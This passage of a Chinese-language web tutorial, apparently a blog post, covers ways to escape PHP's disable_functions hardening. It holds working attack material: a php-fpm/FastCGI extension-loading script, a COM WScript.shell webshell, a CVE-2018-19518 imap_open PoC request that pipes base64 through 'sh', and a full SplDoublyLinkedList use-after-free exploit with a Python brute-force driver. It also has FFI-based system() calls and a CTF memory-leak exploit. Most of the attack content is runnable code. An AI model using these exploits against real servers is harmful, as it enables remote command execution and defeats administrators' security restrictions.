fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content'][4])) { case self::CANT_MPX_CONN: throw new Exception('This app cant multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } //$client = new AA("unix:///var/run/php-fpm.sock"); $client = new AA("127.0.0.1:9000"); $req = '/var/www/html/index.php'; $uri = $req .'?'.'command=ls'; var_dump($client); $code = "<?php antsystem('ls');\\n?>"; $php_value = "extension = /var/www/html/ant.so"; $php_admin_value = "extension = /var/www/html/ant.so"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => '/var/www/html/index.php', 'SCRIPT_NAME' => '/var/www/html/index.php', 'QUERY_STRING' => 'command=ls', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'PHP_ADMIN_VALUE' => $php_admin_value, 'SERVER_SOFTWARE' => 'asd', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); echo "Call: $uri\\n\\n"; var_dump($client->request($params, $code)); ''' ret = execute_php_code(code) print(ret) code = """ antsystem('ls'); """ ret = execute_php_code(code) print(ret)

通過修改其內的code即可,效果如下:

漏洞利用成功。

com組件

原理&利用

需要目標機器滿足下列三個條件:

com.allow_dcom = trueextension=php_com_dotnet.dllphp>5.4此時com組件開啟,我們能夠在phpinfo中看到:

要知道原理還是直接從exp看起:

<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>

首先,以new COM('WScript.shell')來生成一個com對象,裡面的參數也可以為

Shell.Application(筆者的win10下測試失敗)。

然後這個com對象中存在著exec可以用來執行命令,而後續的方法則是將命令輸出,該方式的利用還是較為簡單的,就不多講了。

imap_open

該bypass方式為CVE-2018-19518

原理

imap擴展用於在PHP中執行郵件收發操作,而imap_open是一個imap擴展的函數,在使用時通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那麼該函數在調用時會調用rsh來連接遠程shell,而在debian/ubuntu中默認使用ssh來代替rsh的功能,也即是說在這倆系統中調用的實際上是ssh,而ssh中可以通過-oProxyCommand=來調用命令,該選項可以使得我們在連接伺服器之前先執行命令,並且需要注意到的是此時並不是php解釋器在執行該系統命令,其以一個獨立的進程去執行了該命令,因此我們也就成功的bypass disable function了。

那麼我們可以先在ubuntu上試驗一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

利用

環境的話vulhub上有,其中給出了poc:

POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我們可以發現其中使用了%09來繞過空格,以base64的形式來執行我們的命令,那麼我這裡再驗證一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222 //ls>test

會發現成功寫入了一個test,漏洞利用成功,那麼接下來就是各種肆意妄為了。

三種UAF

EXP在:https://github.com/mm0r1/exploits

三種uaf分別是:

Json Serializer UAFGC UAFBacktrace UAF關於uaf的利用因為涉及到二進位相關的知識,而筆者是個web狗,因此暫時只會用exp打打,因此這裡就不多說,就暫時先稍微提一下三種uaf的利用版本及其概述//其實我就是照搬了exp裡面的說明,讀者可以看exp作者的說明就行了。

Json Serializer UAF

漏洞出現的版本在於:

7.1 - all versions to date7.2 < 7.2.19 (released: 30 May 2019)7.3 < 7.3.6 (released: 30 May 2019)漏洞利用json在序列化中的堆溢出觸發bypass,漏洞為bug #77843

GC UAF

漏洞出現的版本在於:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 - all versions to date漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出達成bypass,漏洞為:bug #72530

Backtrace UAF

漏洞出現的版本在於:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 < 7.3.15 (released 20 Feb 2020)7.4 < 7.4.3 (released 20 Feb 2020)漏洞利用的是 debug_backtrace這個函數,可以利用該函數的漏洞返回已經銷毀的變量的引用達成堆溢出,漏洞為bug #76047

利用

利用的話exp或者蟻劍上都有利用插件了,這裡不多講,可以上ctfhub測試。

SplDoublyLinkedList UAF

概述

這個UAF是在先知上看到的,引用原文來概述:

可以看到,刪除元素的操作被放在了置空 traverse_pointer 指針前。所以在刪除一個對象時,我們可以在其構析函數中通過 current 訪問到這個對象,也可以通過 next 訪問到下一個元素。如果此時下一個元素已經被刪除,就會導致 UAF。PHP 部分(僅在 7.4.10、7.3.22、7.2.34 版本測試)

exp

exp同樣出自原文。

php部分:

<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; } function leak(&$a, $address) { global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current()); } function getPHPChunk($maps) { $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n"; return $address; } } } function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); } } function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start + 0x200000, 0x200000)); die("[!]Not Found"); } function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) { $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000; for ($y = 0;$y < 5;$y++) { if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n"; return $addr + $y * 0x08 - 0x18; } } } } function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[+]Closure Chunk: " . dechex($address) . "\n"; return $address; } function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 * 0x80; $i++) { $addr = $start - $i * 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("\x00", $name)[0]; if($name === "system") { return leak($a, $addr + 0x08); } } } class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[+]Done"; } } function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress + 0x18); echo "[+]Closure Object: " . dechex($closure_object) . "\n"; $closure_handlers = leak($a, $closure_object + 0x18); echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n"; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[+]Find system's handler: " . dechex($system_address) . "\n"; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i++) { $data = leak($a, $closure_object + 0x08 * $i); i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x08 * $i + 0x100, $data); } i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[+]Executing command: \n"; ($s -> current())("php -v"); } function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } $s = new SplDoublyLinkedList(); $s -> push(new Trigger()); $s -> push("Twings"); $s -> push(function($x){}); for ($x = 0;$x < 0x100;$x++) { $s -> push(0x1234567812345678); } $s -> rewind(); unset($s[0]);

python部分:

# -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr)) content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 continue return content def bomb2(_url, _addr1): content = None count = 1 crashcount = 0 while True: try: _addr1 = _addr1 + 0x200000 if count % 10 == 0: print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1)) content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 crashcount += 1 continue print "[+]PHP crash " + str(crashcount) + " times" return content payload = open("xxx.php").read() payload = base64.b64encode("?>" + payload) url = "http://x.x.x.x:x/eval.php" print "[+]Execute Payload, Output is:" content = requests.post(url, data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]Please try to get address of PHP Chunk" in content: addr1 = bomb1(url) if addr1 is None: exit(1) print "-" addr2 = bomb2(url, int(addr1, 16)) if addr2 is None: exit(1) print "-" print addr2 else: print content print "[+]Execute Payload Over."

ffi擴展

ffi擴展筆者初見於TCTF/0CTF 2020中的easyphp,當時是因為非預期解拿到flag發現了ffi三個字母才了解到php7.4中多了ffi這種東西。

原理

PHP FFI(Foreign Function interface),提供了高級語言直接的互相調用,而對於PHP而言,FFI讓我們可以方便的調用C語言寫的各種庫。

也即是說我們可以通過ffi來調用c語言的函數從而繞過disable的限制,我們可以簡單使用一個示例來體會一下:

$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami >/tmp/1"); echo file_get_contents("/tmp/1"); @unlink("/tmp/1");

輸出如下:

那麼這種利用方式可能出現的場景還不是很多,因此筆者稍微講解一下。

首先是cdef:

$ffi = FFI::cdef("int system(const char *command);");

這一行是創建一個ffi對象,默認就會加載標準庫,以本行為例是導入system這個函數,而這個函數理所當然是存在於標準庫中,那麼我們若要導入庫時則可以以如下方式:

$ffi = FFI::cdef("int system(const char *command);","libc.so.6");

可以看看其函數原型:

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

取得了ffi對象後我們就可以直接調用函數了:

$ffi->system("whoami >/tmp/1");

之後的代碼較為簡單就不多講,那麼接下來看看實際應用該從哪裡入手。

利用

以tctf的題目為例,題目直接把cdef過濾了,並且存在著basedir,但我們可以使用之前說過bypass basedir來列目錄,逐一嘗試能夠發現可以使用glob列根目錄目錄:

<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>

可以發現根目錄存在著flag.h跟so:

因為後面環境沒有保存,筆者這裡簡單複述一下當時題目的情況(僅針對預期解)。

發現了flag.h之後查看ffi相關文檔能夠發現一個load方法可以加載頭文件。

於是有了如下:

$ffi = FFI::load("/flag.h");

但當我們想要列印頭文件來獲取其內存在的函數時會尷尬的發現如下:

我們無法獲取到存在的函數結構,因此也就無法使用ffi調用函數,這一步路就斷了,並且cdef也被過濾了,無法直接調用system函數,但查看文檔能夠發現ffi中存在著不少與內存相關的函數,因此存在著內存洩露的可能,這裡借用飄零師傅的exp:

import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb); $addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); //var_dump($leak); //$leak[0] = 0xdeadbeef; //$leak[1] = 0x61616161; //var_dump($a); //FFI::memcpy($newa-0x8, $leak, 128*8); //var_dump($a); //var_dump(777); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; } var_dump(1); ''' } res = requests.get(url=url,params=params) print((res.text).encode("utf-8"))

獲取到函數名後直接調用函數然後把結果列印出來即可:

$a = $ffi->flag_wAt3_uP_apA3H1(); for($i=0;$i<100;$i++){ echo $a[$i]; }

相關焦點

  • 從一道ctf題中學會了利用LD_PRELOAD突破disable_functions
    然後回到上面的代碼,我們可以預測$remote_admin變量中匿名函數的字符串名稱值,以便我們可以調用匿名函數來獲取管理員的權限,而無需直接調用admin_$random()函數。繞過的payload如下:GET /remote_admin.php?
  • 通過LD_PRELOAD繞過disable_functions
    但是由於程序是在運行時動態加載,這就存在一個問題,假如程序動態加載的函數是惡意的,就有可能導致disable_function被繞過。為什麼可以繞過想要利用LD_PRELOAD環境變量繞過disable_functions需要注意以下幾點:能夠上傳自己的.so文件能夠控制環境變量的值(設置
  • php如何使用array_merge()函數?(代碼示例)
    array_merge()是PHP中的一個內置函數,它可以將兩個或多個數組的元素或值合併為一個數組,然後返回這個數組。下面我們就來具體介紹一下array_merge()函數的用法,希望對大家有所幫助。array_merge()函數array_merge()函數用逗號(',')分隔的數組列表作為需要合併的參數,然後將後一個數組的值附加在前一個數組的末尾,形成一個新數組並返回,這個數組中包含在參數中傳遞的數組的合併值。說明:我們可以在參數中傳遞任意數量的數組。
  • php知識大通關——常見函數功能
    接上節內容,仍然以習題的方式講解php常見函數及功能!php常見函數1、在php中,下面哪個方法使用 PHP 連接 MySQL 資料庫? mysql_connect() mysql_query() mysql_close() 以上都不對解析:PHP 提供 mysql_connect() 函數來打開資料庫連接,不過,新版本建議使用 MySQLi 或 PDO 來連接。2、在php中,下面哪個函數用於在 PHP 中獲取環境變量?
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    接上一篇:PHP文件包含漏洞利用思路與Bypass總結手冊(一)包含Session在了解session包含文件漏洞及繞過姿勢的時候,我們應該首先了解一下伺服器上針對用戶會話session的存儲與處理是什麼過程,只有了解了其存儲和使用機制我們才能夠合理的去利用它得到我們想要的結果。
  • PHP實例——PHP創建動態圖像
    只要安裝一些第三方的庫文件並具有一定的幾何知識,就可以利用PHP來創建和處理圖像了。利用PHP創建動態圖像是相當容易的一件事情。下面,筆者將詳細介紹如何實現。     在使用基本的圖像創建函數之前,需要安裝GD庫文件。如果要使用與JPEG有關的圖像創建函數,還需要安裝jpeg-6b,如果要在圖像中使用Type 1型字體,則必須安裝t1lib。      在建立圖像創建環境之前,還需要做一些準備工作。
  • php學習之函數的封裝及二進位和十進位相互轉換案例
    案例:創建一個表單,輸入任意數字,讓其在二進位、十進位、十六進位之間互相轉換1.沒有封裝前的代碼實現封裝的意義在於一次寫成多次調用各進位和其他進位的相互轉換函數decbin():十進位轉二進位函數`dechex():十進位轉八進位
  • Php常見問題總結
    > 然後在php.ini中設置:include_path = "c:/php",並將debug.php放在此文件夾,以後就可以在每個網頁裡包含此文件,查看得到的變量名和值.php $arr = get_defined_functions(); Function php() {}echo   "<pre>"; Echo   "這裡顯示系統所支持的所有函數,和自定以函數php\n";print_r($arr); echo   "</pre>"; ?
  • php基礎大通關——十分鐘了解php基礎知識點之二
    本節我們繼續通過練習題的方式來熟悉php的基礎知識點。1. echo 和 print 有什麼區別? 它們的作用是一樣的 print 可以接收多個參數,而 echo 不能 echo可以接收多個參數,而 print 不能 print 是一個函數,而 echo 不是解析:echo 可以輸出多個字符串,print 只能輸出一個字符串,它可以表現得像一個函數。所以本題選擇第三個答案。2. upload_max_filesize 中最大上傳默認設置是多少?
  • 怎麼理解php中的數組?php的數組創建和使用方法是什麼?
    php數組的定義數組就是值類型相同的變量的集合,在PHP中的一種常用的複合數據類型,數據可以存放很多的數據,可以存儲任何類型的數據。我們可以把變量當做一個包含值得盒子,那麼可以把數組當做當成一個帶有隔層的盒子,每一層都可以存放一個值。
  • php 中關於時區的那點事
    時區信息資料庫採用按「區域/位置」命名規範,方便應用於計算機世界,其中英文地名中的空格用下劃線「_」代替,連詞符「-」只在英文地名本身包含時使用.中所支持的中國時區,參考 亞洲所支持的時區列表關於時區的編程實現時區不僅僅是現實生活的問題,計算機編程世界也有時間,自然也離不開時區的概念.
  • php htmlspecialchars()函數將特殊字符轉換為HTML實體
    htmlspecialchars()函數定義及用法在php中,htmlspecialchars()函數是使用來把一些預定義的字符轉換為HTML實體,返迴轉換後的新字符串,原字符串不變。在 PHP 5.4 中,新增了:ENT_SUBSTITUTE、ENT_DISALLOWED、ENT_HTML401、ENT_HTML5、ENT_XML1 和 ENT_XHTML。在 PHP 5.3 中,新增了 ENT_IGNORE。在 PHP 5.2.3 中,新增了 double_encode 參數。在 PHP 4.1 中,新增了 character-set 參數。實例:<?
  • JavaScript和Underscore.js在PHP中輸入方法 - 智能甄選
    JavaScript會見PHP該庫使用JavaScript和Underscore.js方法豐富了以下PHP類型:數組(包括順序和關聯),字符串,數字(整數,浮點數,NaN),函數(可調用),集合(Iterable,ArrayObject,Iterator)和布爾值。每個添加的方法都是表示類型的類的靜態方法。
  • php常量是什麼?它和變量有什麼區別?
    >運行結果:周長:37.704 面積:113.1125、php常量的作用域php常量具有超全局的作用域,所謂超全局就是可以在定義之後的任何地方直接訪問。在函數中訪問常量不需要使用global關鍵字;在函數中訪問全局變量需要使用global關鍵字。全局變量和超全局變量:<?
  • PHP實現最簡單的聊天室應用
    點擊Send按鈕,就開始執行函數set_chat_msg。這是一個基於Ajax的函數,因此無需刷新頁面就可以將聊天文本發送到伺服器。程序在伺服器中執行chat_send_ajax.php以及用戶名和聊天文本。
  • 如何利用私有DNS,繞過「查找我的iPhone」?
    這個功能就像守護者一樣,當你遺失手機時幫助你定位,而實際上小偷總能找到辦法繞過這個「守護者」。幾個月之前,有個bug可以被用來關閉「尋找我的iPhone」功能,不需要什麼驗證,蘋果在隨後幾個版本的更新中修復了這個漏洞。而本文所要介紹的是如何關閉所有版本的iPhone中的「尋找我的iPhone」功能,包括以後的版本。
  • 實例-使用PHP類庫PHPqrCode生成二維碼
    PHPqrCode 是一個PHP二維碼生成類庫,利用它可以輕鬆生成二維碼,官網提供了下載和多個演示demo。下載官網提供的類庫後,只需要使用 phpqrcode.php 就可以生成二維碼了,你使用的PHP環境必須開啟支持GD2。
  • PHP如何獲取一周的第一天
    使用PHP strtotime()函數可以獲取一周的第一天。此函數返回默認時間變量timestamp,然後使用date()函數將時間戳日期轉換為可理解的日期。strtotime()函數: strtotime()函數通過解析時間字符串返回時間戳中的結果。
  • 關於PHP 5.4 你所需要知道的
    Traits的最佳應用是多類之間可以共享相同的函數。打個比方,我們要做個網站,需要使用Facebook和Twitter的APIs。我們要建2個類,如果是以前,我們需要寫一個cURL的方法並且複製/粘貼到兩個類中。現在不用了,使用Traits重用代碼吧,這次真正地遵循了DRY(Don’t Repeat Yourself)原則。